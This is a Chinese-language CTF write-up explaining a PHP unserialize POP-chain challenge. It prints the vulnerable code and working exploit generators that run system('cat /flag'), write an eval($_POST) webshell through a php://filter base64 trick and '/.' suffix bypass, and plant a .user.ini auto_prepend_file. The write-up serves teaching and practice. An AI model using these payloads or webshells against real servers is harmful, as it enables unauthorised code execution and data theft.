CTF Web安全

[2020 新春红包题]反序列化pop链

Posted on 2020-02-02,9 min read

这题也是根据2019全国大学生安全运维赛 EZPOP改编的
具体代码如下

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        // 使缓存文件名随机
        $cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
        }
        return $cache_filename;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return $filename;
        }

        return null;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

反序列化漏洞。需要我们构造POP链。有两个类。A和B。看下代码
在B中 。发现了一个危险函数file_put_contents

接收了两个参数$filename,$data
追踪下$filename


$filename = $this->getCacheKey($name);
$name是直接函数传参的。接着看getCacheKey这个函数是干啥的

public function getCacheKey(string $name): string {
        // 使缓存文件名随机
        $cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
        }
        return $cache_filename;
    }
$cache_filename=$this->options['prefix'].uniqid().$name组成随机的文件名。这里options['prefix']和$name可控。可以用../变成upload/1345235(uniqid)/../1.php
判断$cache_filename文件名最后三位是否是php结尾
这里可以用1.php/.绕过
file_put_contents('1.php/.','123')会生成1.php而不是1.php/.

ok。那么B类中的set函数怎么调用和传参呢。接着看

在A类中。我们发现了一个save()函数。会调用store->set
可以将$this->store赋值为class B
接着就会调用B类中的set函数。
而save函数由析构函数自动调用
接下来看看对应传入的$this->key(B类中的文件名)

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

通过反序列化传参。
1。那么通过反序列化赋值$this->key为../1.php/.

2。析构函数会调用$this->save函数。我们通过反序列化将store=class B()
就能调用B类中的set函数。然后将$this->key传入
3。将传入的key定义为$name。传入B类的getCacheKey函数
4。$this->options['prefix'] . uniqid() . $name生成随机文件名uploads/48342/../1.php/.会在uploads目录生成1.php。
并且判断后缀名。返回为$filename
5。传入file_put_contents函数
文件名已经搞定了。接下来看文件内容


$data经过$this->serialize函数。然后拼接写入
看下serialize函数

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

$this->options['serialize']可以通过反序列化修改。然后返回$serialize($data)
可以执行system($data)。继续看$data的来源
通过set函数传参。



$contents通过$this->getForStorage()传参。
getForStorage()函数。又通过cleanContents($this->cache)
找到来源了。$this->cache就是原始数据
经过cleanContents处理。然后再json_encode转换。赋值$contents给set函数。经过$serialize处理。拼接传入file_put_contens。
流程搞懂了。看具体操作
首先看cleanContents函数。接收一个数组。返回。。还是那个数组。只有传入二维数组时。才会进行处理

接下来就会经过json转换。json_encode好像并没有什么参数。看了下手册。第二个参数转义用的。好像对我们并没有什么帮助。代码也没赋值。就先不设置

array('test'=>'abc')---->[{"test":"abc"},null]

然后进入serialize。我们可以反序列化为system函数就执行了

system([{"test":"abc"},null])

不知道能不能执行。本地执行一下

发现是可以执行的。那还写个锤子shell。直接这里执行命令
得到flag在/flag。直接读取就好了
下面构造payload

class A{
    protected $store;
    protected $key;
    public $cache = [];
    public function __construct () {
        $this->store = new B();
        $this->key = '1';
        $this->cache = array('a'=>'`cat /flag > ./uploads/flag.php`');
    }
}

class B{
    public $options = [
        'serialize' => 'system'
    ];	
}

echo urlencode(serialize(new A()));

这里读取flag。放到flag.php中
关于A类中的文件名。为什么要设置呢。主要是为了满足函数的string类型。不然会报错。直接停止运行。下面的serialize就执行不了

http://2a3a00d9-b06b-46b8-93a6-f3ef6701e7af.node3.buuoj.cn/?data=O%3A1%3A%22A%22%3A3%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A1%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A1%3A%221%22%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A32%3A%22%60cat+%2Fflag+%3E+.%2Fuploads%2Fflag.php%60%22%3B%7D%7D

访问uploads/flag.php成功拿到flag
第二种解法:利用base64逃逸拼接内容
继续跟着上面的思路。这里不用system函数了。而是继续使用serialize

array('test'=>'abc')---->s:21:"[{"test":"abc"},null]";

拼接后生成如下。php有个exit()。那么后面无论写什么都不会执行。我们得想办法把exit()给弄掉

file_put_contents支持php伪协议。那么我们通过伪协议。将exit或者给破坏掉。就行了

php的base64会将可解析的字符继续解密。a-zA-Z0-9/=+。而;<>这些就会自动忽略。
文件名可控。那么我们只需要将文件名设置为
php://filter/write=convert.base64-decode/resource=uploads/12432/../a.php/.
就能在uploads生成一个a.php。
内容为base64编码过的一句话木马。
通过base64可以成功解码。而前面的exit就没了

由于base64解密需要能整除4。我们上面的代码转换base64能识别的字符如下
刚好能整除4。不能整除4.就不能正常解密

以下是payload

<?php
class A{
    protected $store;
    protected $key;
    public $cache;
    public function __construct () {
        $this->store = new B();
        $this->key = '/../shell.php/.';
        $this->cache = array('path'=>'a','dirname'=>base64_encode('<?php eval($_POST[a]);?>'));
        
    }
}

class B{
    public $options = [
        'serialize' => 'serialize',
        'prefix' => 'php://filter/write=convert.base64-decode/resource=uploads/',
    ];
}

echo urlencode(serialize(new A()));

由于文件名是由$this->options['prefix'] . uniqid() . $name组成。所以。我们构造以上的exp效果如下
php://filter/write=convert.base64-decode/resource=uploads/47881(随机数)/../shell.php/.
执行完。就会在uplaods目录下生成shell.php
解法三:
利用.user.ini

<?php
class A{
    protected $store;
    protected $key;
    protected $expire;
    public $cache;
    public function __construct () {
        $this->store = new B();
        $this->key = '/../../shell.pHp';
        $this->cache = array('path'=>'a','dirname'=>base64_encode('<?php eval($_POST[a]);?>'));
    }
}

class B{
    public $options = [
        'serialize' => 'serialize',
        'prefix' => 'php://filter/write=convert.base64-decode/resource=uploads/',
    ];
}

echo urlencode(serialize(new A()));
<?php
class A{
    protected $store;
    protected $key;
    public $cache;
    public function __construct () {
        $this->store = new B();
        $this->key = '/../../.user.ini';
        $this->cache = array('path'=>'a','dirname'=>base64_encode('1'."\n".'auto_prepend_file=shell.pHp'."\n\n\n\n"));
    }
}

class B{
    public $options = [
        'serialize' => 'serialize',
        'prefix' => 'php://filter/write=convert.base64-decode/resource=uploads/',
    ];
}

echo urlencode(serialize(new A()));

这和解法二思路差不多。都是写文件。只不过
解法二。利用/.绕过后缀名限制。直接写php
这里通过pHp+.user.ini绕过后缀名限制

下一篇: [XNUCA2019Qualifier]EasyPHP(.htaccess利用)→